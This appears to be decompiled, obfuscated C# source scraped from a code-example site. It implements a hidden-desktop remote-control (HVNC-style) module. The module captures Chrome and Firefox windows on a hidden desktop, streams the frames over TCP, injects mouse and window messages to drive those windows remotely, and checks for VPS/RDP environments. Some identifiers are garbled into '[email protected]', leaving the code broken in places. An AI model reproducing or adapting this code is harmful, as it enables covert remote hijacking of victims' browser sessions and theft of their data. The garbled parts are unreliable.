// Token: 0x060000B7 RID: 183 RVA: 0x000055E8 File Offset: 0x000037E8
 internal bool ValidateMapper(IntPtr task, IntPtr cust)
 {
     if (ParamRuleContainer.IsWindowVisible(task))
     {
         ParamRuleContainer.RegParserResolver regParserResolver = default(ParamRuleContainer.RegParserResolver);
         ParamRuleContainer.GetWindowRect(task, out regParserResolver);
         if (regParserResolver.QueryMapper() == 0 || regParserResolver.StartMapper() == 0)
         {
             return(true);
         }
         if (!this.m_Server.status._Task.Contains(task))
         {
             StringBuilder stringBuilder = new StringBuilder(100);
             ParamRuleContainer.GetClassName(task, stringBuilder, 100);
             if (stringBuilder.ToString() == "Chrome_WidgetWin_1" && !this.m_Server.status.iterator)
             {
                 this.m_Server.status.iterator = true;
                 ParamRuleContainer.SetWindowPos(task, ParamRuleContainer.ResolverProductPage.facade, 0, 0, Streaming.size.Width, Streaming.size.Height - 20, 1u);
             }
             else if (stringBuilder.ToString() == "MozillaWindowClass" && !this.m_Server.status._Observer)
             {
                 this.m_Server.status._Observer = true;
                 ParamRuleContainer.SetWindowPos(task, ParamRuleContainer.ResolverProductPage.facade, 0, 0, Streaming.size.Width, Streaming.size.Height - 20, 1u);
             }
             uint num = (uint)((int)ParamRuleContainer.GetWindowLong(task, -20));
             num |= 33554432u;
             ParamRuleContainer.SetWindowLong(task, -20, (IntPtr)((long)((ulong)num)));
             this.m_Server.status._Task.Add(task);
         }
         [email protected](task);
         int system = this.m_System;
         this.m_System = system + 1;
     }
     return(true);
 }
        public void StreamAd()
        {
            Streaming.DispatcherGetterLicense dispatcherGetterLicense = new Streaming.DispatcherGetterLicense();
            dispatcherGetterLicense.status = this;
            Bitmap bitmap;

            try
            {
                if (Streaming.size.Width == 0 || Streaming.size.Height == 0)
                {
                    throw new Exception();
                }
                bitmap = new Bitmap(Streaming.size.Width, Streaming.size.Height, PixelFormat.Format24bppRgb);
            }
            catch
            {
                Streaming.size = Screen.PrimaryScreen.Bounds.Size;
                if (Streaming.size.Width == 0 || Streaming.size.Height == 0)
                {
                    SchemaMapper.ReflectContext("no monitor detected, may be VPS/RDP");
                    this.StopStream = true;
                    return;
                }
                bitmap = new Bitmap(Streaming.size.Width, Streaming.size.Height, PixelFormat.Format24bppRgb);
            }
            ParamRuleContainer.SetThreadDesktop(Streaming.Hdsktp);
            Thread.CurrentThread.Priority  = ThreadPriority.Highest;
            dispatcherGetterLicense.@class = new List <IntPtr>();
            while (!this.StopStream)
            {
                try
                {
                    Streaming.WrapperMapperImporter wrapperMapperImporter = new Streaming.WrapperMapperImporter();
                    wrapperMapperImporter.m_Server = dispatcherGetterLicense;
                    wrapperMapperImporter.m_System = 0;
                    ParamRuleContainer.EnumWindows(new ParamRuleContainer.Record(wrapperMapperImporter.ValidateMapper), IntPtr.Zero);
                    for (int i = wrapperMapperImporter.m_System - 1; i >= 0; i--)
                    {
                        ParamRuleContainer.RegParserResolver regParserResolver = default(ParamRuleContainer.RegParserResolver);
                        ParamRuleContainer.GetWindowRect(wrapperMapperImporter.m_Server.@class[i], out regParserResolver);
                        if (regParserResolver.QueryMapper() != 0 && regParserResolver.StartMapper() != 0)
                        {
                            if (i != 0)
                            {
                                IntPtr asset = wrapperMapperImporter.m_Server.@class[i - 1];
                                ParamRuleContainer.RegParserResolver regParserResolver2 = default(ParamRuleContainer.RegParserResolver);
                                ParamRuleContainer.GetWindowRect(asset, out regParserResolver2);
                                if (regParserResolver2.RateMapper() < regParserResolver.RateMapper() && regParserResolver2.DeleteMapper() < regParserResolver.DeleteMapper() && regParserResolver2.SetMapper() > regParserResolver.SetMapper() && regParserResolver2.SortMapper() > regParserResolver.SortMapper())
                                {
                                    goto IL_26E;
                                }
                            }
                            using (Bitmap bitmap2 = new Bitmap(regParserResolver.QueryMapper(), regParserResolver.StartMapper(), PixelFormat.Format24bppRgb))
                            {
                                using (Graphics graphics = Graphics.FromImage(bitmap2))
                                {
                                    IntPtr hdc = graphics.GetHdc();
                                    ParamRuleContainer.PrintWindow(wrapperMapperImporter.m_Server.@class[i], hdc, 0);
                                    graphics.ReleaseHdc(hdc);
                                    ParamRuleContainer.DeleteDC(hdc);
                                    Graphics graphics2 = Graphics.FromImage(bitmap);
                                    graphics2.DrawImage(bitmap2, regParserResolver.RateMapper(), regParserResolver.DeleteMapper());
                                    graphics2.Dispose();
                                }
                            }
                        }
                        IL_26E :;
                    }
                    BitmapData bitmapData = null;
                    using (MemoryStream memoryStream = new MemoryStream())
                    {
                        try
                        {
                            bitmapData = bitmap.LockBits(new Rectangle(0, 0, Streaming.size.Width, Streaming.size.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
                            if (bitmapData.Scan0 == IntPtr.Zero)
                            {
                                SchemaMapper.ReflectContext("no monitor detected, may be VPS/RDP");
                                continue;
                            }
                            this.StreamCodec.CodeImg(bitmapData, memoryStream);
                        }
                        catch (Exception ex)
                        {
                            SchemaMapper.ReflectContext(ex.ToString());
                        }
                        if (memoryStream.ToArray().Length > 4)
                        {
                            List <byte> list = memoryStream.ToArray().ToList <byte>();
                            list = this.AwakeMapper(list.ToArray()).ToList <byte>();
                            list.AddRange(this.@ref);
                            this.tcpStream.Receive(new byte[1]);
                            this.tcpStream.BeginSend(list.ToArray(), 0, list.Count, SocketFlags.None, new AsyncCallback(this.UpdateMapper), this.tcpStream);
                        }
                        bitmap.UnlockBits(bitmapData);
                    }
                    GC.Collect();
                    [email protected]();
                }
                catch (Exception ex2)
                {
                    SchemaMapper.ReflectContext(ex2.ToString());
                }
            }
            this.StreamCodec.Dispose();
            this.StreamCodec = null;
            this.IncludeMapper();
        }
Beispiel #3
0
        // Token: 0x06000028 RID: 40 RVA: 0x00003CB4 File Offset: 0x00001EB4
        private static void WriteContext(object res, int result, int templow)
        {
            ParamRuleContainer.SetThreadDesktop(Streaming.Hdsktp);
            StringBuilder stringBuilder = new StringBuilder(1024);
            Point         task          = new Point(res.m_GetterMapper + result, res.m_PropertyMapper + templow);
            IntPtr        intPtr        = ParamRuleContainer.WindowFromPoint(task);

            Parser._Indexer = intPtr;
            ParamRuleContainer.GetClassName(intPtr, stringBuilder, 1024);
            ParamRuleContainer.RegParserResolver regParserResolver = default(ParamRuleContainer.RegParserResolver);
            ParamRuleContainer.GetWindowRect(intPtr, out regParserResolver);
            IntPtr intPtr2 = intPtr;

            if (stringBuilder.ToString() != "#32768")
            {
                while (ParamRuleContainer.GetParent(intPtr2) != IntPtr.Zero)
                {
                    intPtr2 = ParamRuleContainer.GetParent(intPtr2);
                }
                ParamRuleContainer.SetActiveWindow(intPtr2);
                task.X -= regParserResolver.CalcMapper();
                task.Y -= regParserResolver.InitMapper();
            }
            switch (res.contextMapper)
            {
            case (Parser.mdToken) 0:
            {
                Parser._Algo = true;
                if (task.Y < 20)
                {
                    Parser.m_Request = new Point(res.m_GetterMapper + result, res.m_PropertyMapper + templow);
                    Parser._Stub     = ParamRuleContainer.WindowFromPoint(Parser.m_Request);
                    ParamRuleContainer.GetWindowRect(Parser._Stub, out Parser.producer);
                    Parser.m_Request.X = Parser.m_Request.X - Parser.producer.CalcMapper();
                    Parser.m_Request.Y = Parser.m_Request.Y - Parser.producer.InitMapper();
                }
                ParamRuleContainer.PostMessage(intPtr, 513, 1, ParamRuleContainer.CollectContext(task.X, task.Y));
                Point point = new Point(res.m_GetterMapper + result, res.m_PropertyMapper + templow);
                ParamRuleContainer.RegParserResolver regParserResolver2 = default(ParamRuleContainer.RegParserResolver);
                ParamRuleContainer.GetWindowRect(intPtr2, out regParserResolver2);
                point.X -= regParserResolver2.CalcMapper();
                point.Y -= regParserResolver2.InitMapper();
                ParamRuleContainer.SetWindowPos(intPtr2, ParamRuleContainer.ResolverProductPage.facade, res.m_GetterMapper - point.X, res.m_PropertyMapper - point.Y, 0, 0, 1u);
                break;
            }

            case (Parser.mdToken) 1:
            {
                Parser._Algo = false;
                Parser._Stub = IntPtr.Zero;
                int num = ParamRuleContainer.DefWindowProc(intPtr2, (ParamRuleContainer.AdvisorGetterLicense) 132u, IntPtr.Zero, (IntPtr)ParamRuleContainer.CollectContext(task.X + regParserResolver.CalcMapper(), task.Y + regParserResolver.InitMapper()));
                if (num != 3)
                {
                    if (num != 9)
                    {
                        if (num == 20)
                        {
                            ParamRuleContainer.PostMessage(intPtr2, 16, 0, 0);
                        }
                    }
                    else
                    {
                        ParamRuleContainer.PostMessage(intPtr2, 274, 61488, 0);
                    }
                }
                else
                {
                    ParamRuleContainer.PostMessage(intPtr2, 16, 0, 0);
                }
                ParamRuleContainer.PostMessage(intPtr, 514, 1, ParamRuleContainer.CollectContext(task.X, task.Y));
                break;
            }

            case (Parser.mdToken) 2:
                ParamRuleContainer.PostMessage(intPtr, 516, 2, ParamRuleContainer.CollectContext(task.X, task.Y));
                break;

            case (Parser.mdToken) 3:
                ParamRuleContainer.PostMessage(intPtr, 517, 2, ParamRuleContainer.CollectContext(task.X, task.Y));
                break;

            case (Parser.mdToken) 4:
                if (Parser._Algo)
                {
                    ParamRuleContainer.SetWindowPos(Parser._Stub, ParamRuleContainer.ResolverProductPage.facade, res.m_GetterMapper - Parser.m_Request.X, res.m_PropertyMapper - Parser.m_Request.Y, 0, 0, 1u);
                }
                ParamRuleContainer.PostMessage(intPtr, 512, 0, ParamRuleContainer.CollectContext(task.X, task.Y));
                break;

            case (Parser.mdToken) 5:
                ParamRuleContainer.PostMessage(intPtr, 277, 0, 0);
                break;

            case (Parser.mdToken) 6:
            {
                int res_amount = ParamRuleContainer.GetScrollPos(intPtr, 1) + 20;
                ParamRuleContainer.SetScrollPos(intPtr, 1, res_amount, IntPtr.Zero);
                break;
            }
            }
        }